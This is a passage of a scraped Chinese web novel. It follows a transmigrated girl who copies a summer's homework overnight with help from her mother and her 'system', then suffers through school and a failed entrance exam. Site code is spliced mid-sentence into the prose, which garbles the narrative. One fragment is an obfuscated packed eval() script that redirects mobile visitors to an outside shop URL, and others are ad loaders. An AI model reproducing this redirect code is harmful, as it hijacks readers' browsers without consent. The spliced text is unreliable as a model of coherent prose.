任洛年跟着他们走进了村委会办公室,听见他们谈话的内容。大概就是他们想给当地捐一个学校以及送一些孩子们需要的学习用品。 这里大部分都是留守儿童,很多都是由家里的老人养大的,上学要走很远的山路,老年人腿脚不便,让小孩自己去也很危险。如果能就在当地修一个学校,那么这种情况就会得到解决。 村主任感激地跟他们握手,并表示要好好招待他们。 谢家父母也笑着答应了,随即转身先让谢修远把车上给小朋友们准备的玩具和学习用品拿给他们。 谢修远虽然年纪小,但是看起来很沉稳,他拿着玩具。一个一个地发给旁边的小朋友。 任洛年站在旁边看完这一幕,突然天色开始变黑,夜幕突然降临,而她也发现自己已经不在那个大坝里了,而是在一个房子外面。 这个房子看起来修建得有些粗糙,房顶的有些瓦片都已经滑落了,但是墙体整体还算完整。 她凑近了一点,发现有个小男孩坐在椅子上透过窗户看着外面的月亮。 月光皎洁明亮,像一个巨大的灯照亮山村。灯的光影映在不平整的墙上,像火在飞舞。谢修远看着天空也不知道在想什么。 任洛年刚准备走近一点就听见簌的一声,是风把屋里唯一的灯吹灭了。 与此同时谢修远转头看见突然暗了不少的屋子,肉眼可见地有点紧张。 他跑出房间,到旁边的房间去看了一眼,没人。谢家父母这时候应该还在外面谈捐赠的具体事项没回来。 谢修远更紧张了,他仓皇失措地跑到院子里。在原地站了片刻,他感觉周围的树全都黑洞洞的,像有无数双眼睛看着他。不管背对着哪里,都觉得背后阴森森的。 他越想越慌张,感觉快被自己心里那个叫恐惧的怪兽给吃掉。 于是几乎在一瞬间,他跑了起来,沿着下山的小路在月光下一直跑。 路过边上种植的玉米,路过一些没有任何两光的房子,路过高耸的竹林,他只听得到跑起来的风声和自己的心跳。 他感觉从自己开始跑的那一刻,背后就一直有个东西在追赶他,如果他不跑快点就会被抓住。 所以他一直没停下,直到跑得筋疲力尽的时候看见前面有个小屋,里面亮着白色的灯光。 他毫不犹豫地跑到院子里,停下来之后发现四周都格外亮。 正俯下身喘气,就看见窗户后面的窗帘被拉开,一个稚嫩的脸出现在他面前。 任洛年几乎和谢修远同时抬眼看过去。 她仔细看了很久,甚至凑近了一点,看见女孩的眼睛她才可以确定,这就是 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说完他抬眼看了一下对面的女孩,对方没有一点嘲笑的意思,反而认真地点点头。 女孩看他也没有什么要继续说的,就转过身开始自顾自地写作业。 谢修远在床边坐了一会儿感觉有些无聊,于是站起身走到书桌旁。 他看见女孩停在一道数学题那里,自顾自地开口:“你不会做吗?用不用我教你。” 谁知对方只是摇摇头,说要自己做。 被对方拒绝,他只在旁边看着没出声,果然女孩思考了一下就自己一步一步地写出来了。 写完之后她像是想起了什么,转头问谢修远:“你要回家吗?如果怕黑的话我可以送你。” 谢修远有些难为情地说:“那你不害怕吗?” 女孩一边蹲下找什么东西一边摇摇头:“不怕,我之前每天晚上都要自己走路回家,冬天的时候比这黑多了。” 说完她也找到了一个煤油灯,只见她动作熟练地点燃,然后提着灯径直往外走,走了几步回头看见谢修远没跟过来,她又走回去牵着他的手一起往外走。 走在路上,昆虫的叫声嘶哑又拖得很长,谢修远不敢看黑暗的四周,只盯着地上他和女孩的影子。 走了一会儿女孩转头看着他说:“不要害怕,这里的每个房子里都是村里的人,不管发生什么,他们都会第一时间来保护你的。” 谢修远有些疑惑地问她:“为什么?” “因为你们给这里捐了学校,大家都很感激,我们以后都不会自己走夜路回家了。” 谢修远听完之后有些惊讶:“你怎么知道?” 王菁没说话,只是笑了笑。 这个小少爷根本不知道自己的衣着和当地人的差别有多大,虽然她从没见过外面的世界,但是已经能从书本和老师的讲述窥见一角。 她并不讨厌他这副不食人间烟火的样子,因为她心里坚信,自己也能靠努力去见到自己想见的世界。 她没有回答,只是轻轻勾唇一笑,随即看向谢修远:"你猜?" 刚才面无表情的女孩笑着看向自己,灯光映得她的脸漂亮得像瓷器,眼睛比今晚的月亮还要明亮,谢修远一时移不开眼。 他一直盯着王菁,都没注意到已经到自己住的屋子里了。 王菁把他送到之后把手里的灯递给他,随即转头就准备往家里的方向走。 谢修远叫住她:“没有灯你怎么回去?” 对方一边跑起来一边大声说:“有月亮!” 谢修远提着灯站在大坝里,看着穿碎花裙的女孩在月光下朝山下跑去,每跑出一步身上就暗一点,直到完全消失在转角。 他感觉自己的心跳还是很快,但这次不是因为跑步。 24. 一晚上,一个奇迹 开门的是一个很有气质的女人,不是那种贵气逼人的气质,而是无论从眼神还是身材都给人一种力量感。一头大波浪棕色卷发,穿着绿色毛衣开衫,带着珍珠耳环。 任洛年仓促地和对方对视,一时还没反应过来自己现在的身份,愣在原地没说话。 对方的眼神在看见她的一瞬软了下来,轻声说了一句:“回来了,吃饭吧。”然后没等任洛年回答就转身往屋内走。 任洛年亦步亦趋地跟在她背后,刚进屋就看见地上被摔得飞溅的菜和盘子的碎片,她下意识蹲下去用手捡。 高萍看见她准备捡碎片的时候用更快的速度把她面前的碎片拿起,她头也没抬地给任洛年说:“我来,别伤到手了。” 任洛年听见之后把手收回来,默默在旁边看着高萍一片一片地捡起碎片。不知道为什么,她感觉看见这幕心里有些难受。 “妈,对不起。” 对方在听见这句话的时候突然停下了捡碎片的动作,轻轻转头看向同样蹲着的任洛年,她像是想笑一下,但在嘴角刚上升一些弧度的时候眼睛毫无征兆地红了。 她就这样看着面前的人,随即流了一滴泪。 “妈答应你,不会跟别人在一起。你不要再说那种话了,什么以后都不回家了,这里永远都是你和妈妈的家,你不回家了我怎么办。” 高萍说着眼睛越来越红,声音里还有点委屈。 从高彤生气地破门而出之后她自己坐在沙发上想了很久,脑子里不受控制地回放着高彤说的话,心比刀割还难受。难受到都有些精神恍惚,导致端菜的时候不小心把盘子摔到地上。 一开始还因为高彤的过激情绪有点生气,但在听见她跟自己道歉之后,高萍心里第一时间的感受还是觉得愧疚,觉得自己不应该跟女儿说这些事情,让她心里不高兴。 她一个人压抑了很久的情绪就这样溃败,以往很少流泪的她在女儿面前哭得溃不成军。 任洛年看着她的样子,心里没有来由地刺痛起来,红了眼睛。 她不知道现在能说什么,只能轻轻地说对不起。紧紧抱着泪流满面的高萍。 饭桌上她们都心照不宣地没提过这件事情,只是普通地聊天。聊到明天就要开学的时候任洛年下意识地叹了口气。 看她闷闷不乐的样子高萍盯了她一眼,带着笑打趣到:“你不是早就说在家待烦了吗?去学校也不高兴?” 在家待烦了和愿意去学校根本不是一码事,任洛年又叹了口气,恹恹地夹着菜,说:“等你到我这个年纪就知道了。” 像是想到什么,高萍哦了一声,用筷子轻轻点了一下任洛年:“你是不是作业没写完?” 见对方一脸迷茫地抬头,高萍笑了出声:“我就知道,每次放假都这个德行,小时候我还可以帮你兜底,现在你自己想办法吧。” 每次放假都这个德行,任洛年的脑子里一直回荡着这句话。这是暑假,六十天的作业,而现在是开学的前一晚,她越想越觉得这是个鬼故事。 不能接受这个事实,她试探着问高萍:“妈,我以前每次放假都没写作业?” 对方一副撒手不管的样子,轻飘飘地哼笑了一声:“对啊,每次。” 任洛年把手里的筷子一放,像是已经疯了一样往后靠在椅子上冷笑。 高萍站起身来收拾碗筷,路过时对靠在椅子上的人说:“行了,知道你又要黑化了,现在去写,赶紧的。” 赶到书房的时候,任洛年一眼就看见贴在书桌上的书签。她凑近一看,上面写着密密麻麻的暑假作业。 粗略地看有接近十条,但是高彤只在其中一条上打了勾,任洛年眯着眼仔细阅读了那条,结果心碎地发现那条是阅读任务,也就是唯一一个不用写的作业。 合着六十多天这姑娘就读了一本书。 本以为这是特殊情况,结果她打开手机就看见班级群里大片人都在叫苦不迭地补作业的盛况。 虽然现在摆得跟粘锅的咸鱼一样,任洛年在读书的时候是众所周知的大卷王,假期作业从布置的那刻就开始全天无休地写,从来没有拖到开学前一天写的习惯。所以之前对“一个晚上,一个人,一支笔”的奇迹没有实感。 事已成定局,任洛年强行让自己冷静下来,先试探性地照着高彤写的便签找出作业册,于是就这样更惊喜地发现居然一页都没写。 也就是说,六十天的作业,现在一个晚上。 任洛年闭眼深呼吸了一下,像是已经预感今晚会是一场多么惨烈的战斗,脸色难看到如果现在来个人看见都会立刻送她去抢救。 坐在椅子上,她拿出一条命就是干。索性背面还有答案,她直接把答案撕了下来方便抄。 第一本拿的练习册是可以完全抄写的作业,任洛年手速还可以,加之又专注,很快就下去一半。 中途高萍还抽空来看了她一眼,嘲笑了片刻就走了。任洛年自动摒除外界的任何干扰,继续埋头苦抄。 抄完第一本的时候天已经完全黑了,她默默地看了眼时间,已经是晚上七点半了,距离明天的报道时间仅剩12个小时。 因为第一本作业的抄写速度让她自信满满,所以还不慌不忙地看下一项,甚至心里还期待着写完能睡上几个小时。 结果在拿到第二本作业的时候她心里直呼不妙。这居然是文科的作业,光看答案就是密密麻麻的一片字,一道大题跟个小作文一样。 答案是厚厚的一本,大题是每一页都有几道。 任洛年先尝试哄着自己写了一页,写到中途,她突然把笔一放,然后就这样看着面前的作业哭了起来。眼泪滴在练习册上,把刚写的字晕染开,看起来像狼狈的花脸。 01号系统刚还在低头看世界线信息,一抬眼看见她对着一本作业崩溃大哭的样子。 “怎么了?” 任洛年视线一片模糊,但能隐约看见面前的作业还在那里,让人无法忽略它的存在,就像故意恶心人一样,一边抹眼泪一边移开视线。 结果刚一抬眼又看见还剩很多行的便利贴,伤心劲一下又上来,顿时哭得更伤心了。 “写不完,根本写不完。”任洛年哭着说。 宿主一天之内已经哭三次了,系统有点慌,安慰她:“不会,我跟你一起写,你拿几本给我。” 这句话堪比神药,任洛年一听立马就不哭了,立马翻出两本全新的练习册,刚拿到1她就发现练习册已经从自己手中凭空消失。 系统看她脸上还有泪痕,在灯光的下看起来亮亮的,像受了天大的委屈,笑着摇摇头,随即在本汇集信息的桌面上摆着两本练习册,拿出笔开始写。 任洛年也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627997|141845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续埋头写。 高萍刚洗完澡出来也顺道到高彤房间来看了一眼。结果还没走到房间就听见她吸鼻子的声音,本想凑近问她是不是感冒了,结果一眼就看见她通红的眼睛。 “宝贝,怎么哭了?” 这种脆弱的时候是最忌有人来问的,任洛年听见高萍温柔的语气,好不容易压下去的难过又猝不及防地升起,她缓缓转过头,眼睛湿漉漉的样子看上去委屈极了。 这可把高萍心疼坏了,她赶紧坐在旁边问她怎么了。 任洛年用哽咽的声音说写不完了。出乎意料的是,高萍听完没有责怪她为什么不早点开始写,而是立马挽起睡衣的袖子,像女侠一样豪迈地对她说:“拿只笔来,妈帮你写。” “啊?” “啊什么啊,天杀的学校,居然敢把我女儿逼哭。” 任洛年抿着嘴唇拿出一支笔给她,高萍也不多说,埋头就开写。 于是写作业大军就这样增加了一位。 现在任洛年心里更有底了,写了一会儿,她又灵机一动,悄悄问系统:“你说,我能不能让主神也帮我写一点。” “你疯了吗?” 在寂静得只剩下写字声音的夜里,对方的声音显得很冷。 就算这个想法立马被否决,任洛年也没多失望,只是低下头继续抄写。 窗外很多家的灯都已经关上,一栋很高的小区就只剩几个窗口还亮着灯。很多店铺早就关门,只留下发着光的店名,街道上偶尔有汽车驶过的声音,听起来格外落寞。 写到只剩最后一本英语的时候高萍完全撑不住了,她捂住嘴打了个哈欠,眼睛因为疲惫导致双眼皮更明显了,她对着任洛年无可奈何地说:“现在真的要靠你自己战斗了,妈不行了,明天还要去餐馆。” 说完就起身睡眼惺忪地回房间了,她走到门口的时候还专门转过头对孤军奋战的高彤打气:“同志,加油!” 任洛年拿着英语练习册,看了一眼旁边的手机,已经凌晨四点了。她抄了几页先体验一下难度,果然如她所料,英语抄起来就是快。 一切都按计划进行的时候,手机响了几声,任洛年本来心无旁骛不准备去看,结果对方像有什么重要的事情一样,又连发了几条,手机不停地震动。 任洛年一边拿过手机一边不耐烦地想对方最好是有什么天大的事情要说,比如学校延迟开学之类的。 结果她刚点开聊天界面就眼前一黑。 在自己生死时速的关键时刻,对方给她连发几条消息,居然是为了让她某软件帮砍一刀。她气得恨不得把对方砍一刀。 忍着怒气给对方发了一个滚之后她继续奋笔疾书。 在好不容易写完的时候天已经从纯黑色变成深蓝色,云层开始变幻,一缕独属于早晨的冷风吹进窗,任洛年打了个寒噤,然后站起身活动了一下僵硬的身体。 简单洗漱了一下就倒在床上,困得暂时失去意识,但任洛年还在完全沉睡之前记得系统那里还有几本很厚实的练习册,她迷迷糊糊地问:“你写完了吗?” 对方只是让她放心睡。于是她任由强烈的睡意蔓延全身,在柔软和透着洗衣液的芳香的被子里沉沉睡去。 系统看见床上的人呼吸逐渐平稳之后移开视线,也没关闭共享的画面,伴随着静谧的呼吸声低头继续写。 26. 不准动我的好感度 顾玥本打算跟对方打招呼,结果发现对方的眼神一直放在她旁边的任洛年身上,带着毫不掩饰的戏谑。 随即她就看见面前这个感觉和其他高中男生有壁的帅哥对着任洛年笑了一下,这个笑不是礼貌性的笑,而是带着嘲讽。 这不像是对着陌生人的态度,倒是有点像...挑衅。 于是她有些疑惑地问:“你们认识?” 任洛年倒是被问住了,转头看着顾玥不知道怎么解释。 “我们很早之前就认识了。”对方轻飘飘地开口,视线仍然在任洛年身上。 “啊?”任洛年和顾玥不约而同地啊了一声。 就这样沉默了一会儿,任洛年在三个人疑惑的目光里转头对着顾玥解释:“我们小时候一起玩过。” 顾玥听完会心一笑,故意拖长语气:“哦,那你们还是青梅竹马呢。” 早知道不解释了,任洛年现在陷入艰难的境地,正转身向系统求助。结果他跟没事人一样也一脸狡黠地看着自己,眼睛里写着你自己想办法。 任洛年只能尴尬地笑笑说:“不过他小时候脑子有点不好,没想到还考上高中了,真是很励志呢。” 她这么一说对方的表情才终于有了一点变化。 “是我记错了吗,小时候脑子不太好的到底是谁?” 顾玥看着他们刚见面就斗嘴的样子,瞬间变成星星眼:“我知道你们这种,叫什么对抗路小情侣,嘿嘿。” 情侣?一想到她跟系统还会跟情侣这个词沾边任洛年就感觉眼前一黑,她都不知道自己的脸一下就涨红了,像是逃跑一样转身就走。 她一边走一边在脑内呼叫系统。 “你为什么会在这里?” “我不是说了给你当陪读吗?” 任洛年以为这话是那天自己崩溃的时候系统安慰自己随口一说的话,结果谁知道他真的也来了。 “那你还挺仗义的,兄弟。”任洛年听见这个之后倒是没那么生气了,甚至声音透露出些许喜悦。 兄弟?系统边走边琢磨这个词,他好心来陪她读书,结果对方给他来一句兄弟。 看他无缘无故地冷笑一声,旁边的肖远奇怪地问他怎么了,他摇摇头没说话。 吃完饭之后任洛年又回到教室,这个学校的作息和她的高中还是有一些区别,相对轻松很多。 午休开始之前还有一段休息时间,老师也基本不会来管。同学们在教室里说说笑笑,有些甚至还追打起来,这是在之前她那个和监狱一样的学校里完全看不见的情景。 任洛年一边扶着头一边掏出文科教材,准备“预习”一遍,果然效果很好,几分钟就睡着了。 她一觉醒来午休已经结束了,老师都已经来教室站在讲台上,于是她只能艰难地从桌子上起身,人在教室,但是魂魄已经不在了,感觉自己现在像一具尸体。 也许是为了让同学们快速清醒,午休结束距离下午第一节课有十分钟,这个时间拿来大声读书。 任洛年混在杂乱的读书声中咿咿呀呀地乱读,眼前的文字变成奇怪的符号之后又彻底陷入一片黑暗,她都不知道自己什么时候闭上的眼睛。 这时候一个庞大的身影走到她身边,用手背敲了敲她的桌面。任洛年立马清醒了,把头抬起来看了对方一眼。 班主任透过眼镜皱着眉看她,表情看起来有点鄙夷,嘴里小声念叨着:“中午干嘛去了?” 任洛年不敢说自己睡了一中午,只能沉默地低下头,随意找了一段开始读。 回想自己读高中的时候,中午只用睡十分钟就可以精神一下午,现在的精力真是大不如从前了。当然,也可能是昨晚只睡了两个小时的原因。 让她一个快长尸斑的人当学生确实有点强人所难了,她恹恹地问系统:“请问教室里可以上吊吗?” “还困,你不是睡了一中午吗?” “你怎么知道?” 她问完才发现自己问了一句废话,系统当然会知道。睡一中午又怎么了,她理直气壮地反问:“你中午不睡?” “嗯,没和你一样昏迷过去。” 本来读书就烦,现在这个系统还这么说话,更烦了,她翻了个白眼继续读书。 这样疲惫地过完一下午,她感觉这一天比过去的一个月都漫长。吃饭的时候她终于有了明显的情绪,对着顾玥呐喊到:“这日子什么时候是个头啊。” 不仅是她,晚自习的时候大部分同学都还没调整过状态,困的困,烦躁的烦躁,想哭的想哭。一眼望去全是面如枯槁的丧尸同学。 任洛年疲惫不堪地靠在旁边的墙上,感觉自己像被抽取灵魂的躯壳,脑子完全动不了了。直到前面的同学把窗户打开,外面的凉风冲散教室里暖烘烘的空气,她才清醒一点。 晚自习有三节,一节一个小时。按理来说走读生第二节下课就可以走了,住校生必须上完三节。但是十三班的规定是不管走读还是住校都必须挨到第三节下课。 任洛年就这样盼星星盼月亮,度日如年地等待着下课铃声,一分钟能看几十次墙上的钟。不知道为什么,她想着此时此刻01号系统也在教室里度秒如年地坐着心理就没这么煎熬了,于是她主动找他,说:“是不是很像坐牢。” 对方轻飘飘地回了一句:“你还在教室?我都已经到家了。” 自己的难熬固然伤心,朋友的自由尤为难过。任洛年听完天都塌了,她不可置信地问:“你休学了?” “......其实我们班第二节下课就可以走。” 任洛年认命地点点头,随即闭上眼切断联系,玩吧,看你考试怎么办? 她继续低头看着手里的练习题,写完之后对照答案,五个选择题错了四个,终于绝望地捂着脸笑了。 第一天的学习就给了任洛年好大一个下马威,等她背着书包疲惫地走出教室的时候感觉外面的世界每一丝空气都透露着自由。她任由冷风扑到自己的脸上,从袖口渗进穿着校服的身体,刺激着她的每个细胞。 休息不够让她头痛了一天,她现在唯一的想法就是回家睡一觉。坐上公交车的时候,她感觉要不是只有几站她就睡着了。 回到家里,高萍看着她有气无力的样子还以为她生病了,关切地摸了摸她的额头,一边摸一边问她是不是发烧了。 任洛年摇摇头倒在沙发上。高萍进厨 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 房给她端热好的饭,让她吃完赶紧睡觉。 睡前任洛年躺在被子里想着第二天又要六点过起床,然后过一天那样的生活,顿时失去了所以反抗的力气。 第二天六点过一点闹钟响起的时候,任洛年心情低落到谷底,她的困意甚至超过了本能的求生欲,脑子里想着自己怎么还没死。 磨磨唧唧地穿上校服再出门坐公交车到学校,感觉又是毫无希望的一天。 正式开学的第一天也就意味着要做早操,任洛年一开始听见同学们唉声叹气地下楼的时候还不知道事情的严重性。直到每个班排成方队开始跑步的时候,她才发现这个学校的跑操居然是绕着学校跑。 而且是两圈。 接近十点的时候,太阳放肆地散发着光热,炙烤着地面上的人们。任洛年感觉热得五脏六腑都在抗议,像是已经进入病危状态。 跑完步只剩半条命回到教室,风扇吹出来也是微弱的热风,起不到任何降温的作用,而风扇发出的微弱声音倒像是有些像嘲讽。 任洛年闭眼倒在桌子上,她倒想看看生活能把她逼到什么程度。 说是跑完步神清气爽上课会更加专注,但是任洛年跑完之后的第一节课感觉简直就是给她休息的,疲惫感恰到好处地上来,她正好可以安详地睡一觉。吃完饭回来又再安详地睡一觉。 本以为这样过下去总有一天适应能力很强的自己会习惯,结果晚上还得知一个噩耗——下周就要开学考了。 月考就月考,期中考就期中考,开学考是个什么东西。真把放假当什么弯道超车的机会了吗?要是放假也要学习,那为什么不直接不放。 任洛年之前像个机器一样,觉得学校有什么安排照做就行,反正成绩是为自己考的。现在她才知道当时自己有多能忍。可能人一辈子的耐心和毅力是有限的,她提前透支了,导致现在读书恨老师,工作恨上司,两眼一睁就觉得世界欠自己的。 她看着手里一片红色练习题,再想想马上的开学考,完了。 “怎么办,马上要考试了,有没有什么救命的道具。比如提高分数什么的?” 对方听见她急切的声音还是那副云淡风轻的样子,简略地回复:“没有。” 人被逼急了什么都做得出来,除了考试题。任洛年不死心地再问:“怎么会没有呢?” “你觉得这样对其他同学公平吗?” “高三的考试这么多,你能用一次,还能次次用?” 看对方已经为了诱导她不要借助外力,甚至开始道德绑架。任洛年完全不受任何恶意诱导,问他:“难道让我一个只学了一周的人去考试就公平吗?次次用怎么了,是不是就是你的好感度不够所以在那里嘴硬。” 系统啧了一声,随即冷冰冰地开口:“既然是我的好感度,我不想用就不能用。” 任洛年不知道为什么他对一个好感度宝贝成这样,像拿着玩具不肯撒手的熊孩子,这没有理由,还是更倾向于是他好感度不够。 她感觉自己真的哪天会被系统气死,但是偏偏她没有决定权,于是只能憋屈地闭嘴。 对方看她没一直打他好感度的主意也松了口气,没再说话。 27. 月考 开学考的大概是上学期的内容。其中还有很多题是从暑假作业里抽出来的。任洛年虽然每天都学到深夜,但她又不是几天就能学会几门学科的天才。现在临时抱佛脚也最多只能保证不差到被班主任觉得是智障。 两天考四科,每考完每一科任洛年的心心就死一回,语数外不是一时半会儿能完全想起来的,她坦然接受。但在考完文综的时候那种不详的预感越来越强烈,她感觉自己可能会创造出生命中最差的一次成绩。 之前那个考了第二名都会伤心好几天的人现在第一次觉得只要不是垫底就心满意足了。 高三的考试,老师很注重学生自己复盘的机会,所以在考完的那天晚自习就把每一科的答案发下来让学生自己对照着卷子修改。 在一片静默的教室里,任洛年忐忑地对着答案。 语数外比她想象的好很多,甚至她自己都有点吃惊居然能短时间内回想起这么多内容。 还没得意多久,拿到文综答案的时候,任洛年把答案上的选择题和自己对比了好几遍,宁愿相信是答案发错了也不敢相信自己的眼睛。 顾玥转头看她呆若木鸡的样子,在她面前晃晃手。 “怎么了?” 任洛年像抓住救命稻草一般问她:“一道选择题多少分?” 顾玥皱眉盯着她:“你放个假回来脑子都坏掉了吗?” “多少分?” 顾玥看她认真的眼神,回她:“五分啊。” 听到答案之后任洛年安详地趴在桌子上,疑似失去了所有希望。 班上对完答案的人有懊恼不已地捶桌子的,有唉声叹气地说这次完了的,还有那种装模作样说这次又考差的。所以对于她这种崩溃的反应顾玥觉得很正常,只是把她面前的文综卷子拿起来看了看。 结果刚看到的时候她的脸色也变了,她仔细看了几遍之后把卷子放在任洛年的桌上,试探着开口:“历史错这么,你不要命了?” 任洛年这个纯理科思维的人最学不懂的就是历史,选择题连题干都读不懂,错这么多其实也是意料之外。 但听顾玥的语气,好像她犯了什么滔天大错一样。 还没开口问就听见她继续说:“要是老李知道你就完了。” 她口中的老李是大家对班主任的称呼。任洛年能懂这种,就是班主任会对自己教的那一科要求最严格,但是应该也不至于到完了的程度吧。 本来只是难过,现在听完顾玥的话,她开始害怕了。 “彤,人怎么能捅这么大的篓子。” 在她说完的那一瞬间,班主任像是能感知到一样,突然出现在门口,用阴森的眼神看着教室里交头接耳的同学。 任洛年在即将跟他对视的那一刻低下头,脑子里回响着顾玥说的话。 只见他从第一列开始走下去,走到一个同学身边就问错了几个选择题。问到错得少的就笑着露出有些泛黄的牙,错得多的就瞪起眼睛批评一番。 任洛年坐在离他最远的那一列,每时每刻都感觉如芒在背,这对她来说简直是凌迟,这时候她宁愿自己是第一个被问的。 她转头看了顾玥一眼,对方一副自身难保的神情。她知道这下是真的完了,只能提前装出一副懊恼的样子,以便应付等下要走过来的老头。 好不容易到前面那个同学的时候,任洛年竖起耳朵偷听,好巧不巧,前面那个女生选择题全对。老李听完笑着摸摸她的肩膀,夸赞了一句。 随即还带着笑意向任洛年走来,看起来一副心情大好的样子。 任洛年硬着头皮跟他对视,对方笑眯眯地开口:“你呢,这次选择题做得怎么样,错了几个?” 任洛年颤抖着举起两根手指。对方欣然一笑:“错了两个啊。” “对了两个。”她用几不可察的声音轻轻地说。 对方不愧是老戏骨,立马给她展示了一下变脸,眼神一瞬间从笑嘻嘻变得像寒冰,甚至带着些鄙夷。 “把你的卷子给我看看。” 他一下提高了音量,很多在自习的同学都纷纷看过来。任洛年早已预知到这个结果,心里叹了口气,拿出试卷。 对方用力拿过去,越看眉头皱得越紧,任洛年甚至能听见他急促的呼吸,心里隐隐有些害怕对方当场气晕过去。 看完之后对方连后面的同学都没心情问了,把任洛年叫到外面的天台上去。 任洛年低着头跟上去,心想要是骂我我就跳下去。 对方开口第一句就是:“你放假干嘛去了?” 任洛年也想知道高彤放假干嘛去了,但这确实是她错得太多,于是态度很端正地给老师解释:“抱歉老师,这次考试我没有调整过来,下来一定会好好总结,争取下次考回原来的水平。” 对方听她说完表情明显缓和了不少,开口的语气都没那么凝重了。 “我知道你们放假用心在学习上,但是现在回学校了脑子就放清醒一点,现在是什么时候?你们已经高三了,要是高考只对这两道题,你看看你还有没有书读。” 任洛年看着面前这个苦口婆心的老头,虽然他大部分时候都很啰嗦又严格,和人情味不沾边,但是今晚他说的确实在理,她理解这种老师,因为他们自己就是靠埋头苦学才走出原来的困境的,所以希望学生们也要靠努力来改变命运。 于是她认真地点点头。 回教室之后,她拿出那张没对几道题的卷子,对照着答案和解析翻着书一道一道地去尝试理解。 顾玥看她一回来就一言不发,凑到旁边问她:“他骂你了?” 任洛年摇摇头。 “那就好,那我们今晚遁吗?” 她说的遁是指第二节晚自习下课就趁班主任不在悄悄回家,她们这几天每天都干这个事,虽然第二天来会被骂几句但是没有什么严重的后果,所以很多走读生都敢这样。 任洛年破天荒地摇摇头,说:“我以后都要上完三节晚自习了。” 顾玥这种顺其自然的人格不能理解她们这种动不动就下定决心改变的人,但是她尊重这种做法,说了一句:“那好吧,祝你成功。” 复盘的时候任洛年发现自己是思维上存在很大的问题,对题目非常较真,甚至做完题之后连别人的用意都不知道。在文科的题目面前,她之前做理科题的题海战术都不管用,所以她觉得首先应该转变自己的思路,不然这样下去会一错再错。于是研究错题都研究了一晚上。 等下课铃声打响的时候她才抬起头发现已经下课了,第一次觉得一个小时过得这么快。 她把没研究完的题目塞进书包,打算回家再看一会儿。 刚下楼的时候就看见系统也从班里走出来,他单肩背着书包,和几个男主走在一起看起来格外突出,任洛年一眼就看见他。 说是陪读,但这么多天其实他们没见过几次面。一个在一楼的一班,据说是学校最好的理科班,而任洛年在三楼的文科班,本就不容易遇见,再加上一中非常重视防止学生早恋的工作,就连一男一女在路上走得近都会被拍下来通报,所以更要保持距离。 之前看见一对男女被抓拍的照片发在群里的时候,任洛年顿时感觉这些监管老师跟狗仔一样。 因为这些规定,男生女生之间见面的机会更少了,就算看见对方也会尽力保持距离,美其名曰“避嫌”。 对此顾玥有句名言:离开学校谁还把我当明星。 其实这些规定跟任洛年自己的高中比起来更是小儿科,所以任洛年一直百思不得其解那些青春校园剧里面男女主到底是怎么在一起的。 第一次在这个时间点遇见系统,任洛年有些疑惑。 之前系统告诉她一班不用强制走读生上完第三节晚自习。那为什么今天他会三晚下课才出来了,难道也是因为考试受打击了? 任洛年是一个很坦然地接受自己阴暗面的人,所以一想到这个,她就抑制不住地有些幸灾乐祸。 系统看见她带着狡黠的笑容,像一只满肚子坏水的狐狸,问:“有事?” 他这一问周围的人都看向任洛年。 不太习惯被太多人注视的任洛年故作镇定地眨眨眼睛说:“没有,就想问问你今天怎么这么晚才走。” 系统跟身边的人说了一声之后很自然地走到任洛年旁边,任洛年自动往旁边挪了几步,他们一边走一边说话。 “班主任说以后都不能提前走了。” 任洛年转头看对方的坦然的神情,看不出一点端倪。 “为什么?” “好像说我们这次开学考考太差了。” 任洛年听完点点头,没再戳对方的痛处。 回家之后迎接任洛年的照样是高萍的嘘寒问暖,她一直不习惯这种被无微不至地关怀的感觉,尤其是今天。 她不知道要怎么给对方解释这个成绩,看见对方忙前忙后地给她准备吃的,心里隐隐有些愧疚。 高萍看她脸色不太好,关切地问:“怎么了?今天在学校不开心?” 想着那张试卷,任洛年的第一反应是逃避,她不想贸然打破现状,于是抱着能拖多久是多久的想法,先隐瞒着。 晚上她把卷子再拿出来仔细看,把同类型的选择题也研究了一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 遍。虽说勤能补拙,但她又不是什么天纵奇才,之前的成绩也是自己拼命学习才换来的。 短时间不可能学会这么多知识点。既然现在已经落后,但只要每天都比别人多学一点,总会有收获的。 高三的学校像一个高速运转的机器,学生和老师都是其中的零件。不仅学生要被要求高效率,老师也是。 经过老师们废寝忘食地批卷,开学考的成绩很快就出来了,等老李拿着一张成绩单进班级的时候,大家都沉默地坐在位置上,等待审判的降临。 老李的脸色已经说明了这次的成绩单会多难看,每个人都心慌不已地揣测着自己的成绩,连一向嬉皮笑脸的同学也收敛了神色。 偏偏老李像故意折磨人一样,不先给大家看自己的成绩,反而先把全班批评了一顿。 “这次考试成绩,非常糟糕。” “要是高考是这个成绩,不是我吓你们,你们一半的人都没学上。” …… 其实这个时候大家都不是很关心班级整体的分数怎么样,只想看看自己的排名。 任洛年面色如常地坐在角落,把所有答案看完之后她对稀烂的成绩已经有了个底,所以没什么惶恐的。 对于经历过很多考试的她来说,一次的成绩其实并不算什么,只是一个开学考而已,就算考倒数第一也不会影响最终高考的成绩。 不过这次第一次经历的孩子就明显被老李唬住了,神色慌张失措。 任洛年像旁观者一样观察着他们,不会觉得他们稚嫩,反而心里能理解他们。因为她自己之前也是这样,在高压环境下,被灌输着成绩就是一切的思想,好像一切风吹草动都能让她焦虑不已,更何况她是一个没有退路的人。 这种高度紧张的精神状态导致她后面甚至有些神经衰弱,焦虑的情绪甚至已经外放到她的身体上,心理和身体都深受其害。 如果现在还有一次机会的话,她一定会告诉自己放松一点,不要在意一次的成绩,再勇敢一点,不要害怕一次的失败。 等大家都被紧张和恐惧的情绪折磨到麻木了的时候,老李才把成绩单贴在教室外面让同学们自己去看。 